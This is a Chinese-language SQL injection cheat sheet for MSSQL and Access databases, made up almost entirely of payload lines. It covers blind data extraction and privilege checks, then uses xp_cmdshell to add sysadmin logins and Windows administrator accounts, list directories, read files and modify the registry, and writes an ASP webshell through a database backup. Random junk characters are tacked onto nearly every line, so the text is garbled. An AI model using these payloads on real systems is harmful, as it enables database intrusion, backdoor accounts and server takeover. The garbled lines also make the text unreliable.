1.判断是否有注入;and 1=1 ;and 1=2 :iW+CD)j
2.初步判断是否是mssql ;and user>0 CJ+/j=i;~c
f|U;4{k
3.注入参数是字符'and [查询条件] and ''=' s|*0cK!K^
)IN!CmpN
4.搜索时没过滤参数的'and [查询条件] and '%25'=' &/XRiK1"0
d.wu
5.判断数据库系统 )S41N^j.
2>%|PQ
;and (select count(*) from sysobjects)>0 mssql kw,eTB<;R
VRe7Q0
;and (select count(*) from msysobjects)>0 access FDfLPCQm
6/u]r
) -yJKmV
5Ii`|?vg
6.猜数据库 ;and (select Count(*) from [数据库名])>0 1%Yd ] 1c(
-*`7Q'}%
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 b,vSE,&xP
GWb=X cx
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 &<??,R14
c3S}(8g5.
9.(1)猜字段的ascii值(access) Tp
vq5Cz
K&T[F!
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 wm1`<r^M.
*`D}voU
(2)猜字段的ascii值(mssql) pxf(C<y6_
S87E$k
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 DxuT23.
(
HW|5'opF
10.测试权限结构(mssql) z;T_%?u
XPJsnu
V{#8+
is?#wrV=K
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- FA5|`
=|}_ASbzw
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- R-2NJ0F7
<V[Qs3uo(
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 1Ce7\A
Z5x&P_.x[
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- RCZ"BxleU
r{+P2MPW
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- hJ~Na\?w
&m{SWV+
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- tVI6GXH
244[a]
%&;
;and 1=(select IS_MEMBER('db_owner'));-- 4gR;,%E\TO
@k+&89@G
+Tf4SJ
%XF>k)
11.添加mssql和系统的帐户 B/Jz$D
h7r*5E
;exec master.dbo.sp_addlogin username;-- }4Q~<2
;exec master.dbo.sp_password null,username,password;-- 3?%?J^/a
]1Wh3C
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- <8J_[
S
CjRU3
(Q
;exec master.dbo.xp_cmdshell 'net user username password N.~zQVO#R
-hd@<+;E
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- #BLx +mLq
pL [JGn
;exec master.dbo.xp_cmdshell 'net user username password /add';-- \&!qw[;O
RpmOg
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Py@/\V
.z+S@s[O
-eE r|Gs)
.}n-N
#
12.(1)遍历目录 19h@fA[:
#gq!L
;create table dirs(paths varchar(100), id int) ?hC,49
{>v5~G
;insert dirs exec master.dbo.xp_dirtree 'c:\' gT-"=AsxZQ
\iP=V3
;and (select top 1 paths from dirs)>0 NIo!WOi
Uf}u`"$F
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 0jJ:WPR
&~Hx!]uc
pie8 3Wy>
!"d"3coQ?
(2)遍历目录 SH1S_EQ<
@ajt
D-_2
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- mb\"qD5
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Svicw`uX0
`1`Qu!
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 969Y[XQ
{P{h|+;
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Tr@|QNu
wU}%]FqtZ=
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 &7J-m4BI
%&iodo,EP'
S+ 3lX7
u7/]Go44
13.mssql中的存储过程 :pH3M[7
WGwIc7
xp_regenumvalues 注册表根键, 子键 1IPRI<1U
'< .gKo
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 {j8M78 }3
[4 v1
N
xp_regread 根键,子键,键值名 yM2}JsC
w}qLI4
;exec xp_regread XN&cM,
+\R__tx;
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 p![UO I"W
I7
= 4%)A
xp_regwrite 根键,子键, 值名, 值类型, 值 YD{Ppz
FP<mFqy
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 1/3<u::
_C3O^/<n4V
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 *'cyFu$
Y@y"bjK \
xp_regdeletevalue 根键,子键,值名 3\ {?L
O=5q<7PM.
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ;#?G2AAv
q o6~)Aws
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 &_$0lIDQ
r_hs_n!6
>ZwDcuJ~Lz
o-
v#Zl
14.mssql的backup创建webshell X> T_Xc
`iNH`:[w
use model Kw7uUJR
[G",Yky
create table cmd(str image); 3;JF5e\?x
XI+GWNAmJ
insert into cmd(str) values (''); %M,^)lRP
6z5wFzJv?q
backup database model to disk='c:\l.asp'; F};T<#
P84=.*>
K(,MtY*
w
m|WER*.
15.mssql内置函数 YTD&swk
9|WV28PK:
;and (select @@version)>0 获得Windows的版本号 [XhG7Ly
60G(jO14
;and user_name()='dbo' 判断当前系统的连接用户是不是sa cTBUj
`t"7[Zk
;and (select user_name())>0 爆当前系统的连接用户 f>iDqC4
cE^Ljk
;and (select db_name())>0 得到当前连接的数据库 Vq599M:)V
l*
z"wA-
nR=!S5>S
+bGO"*
16.简洁的webshell PjP6^"
9H/C(Vo
use model $|tk?Sps
rI OKCL?
create table cmd(str image); 2f0mr?l)N
. {vMn0c
insert into cmd(str) values (''); A*~BkvPr
!CdF,pd/)m
backup database model to disk='g:\wwwtest\l.asp';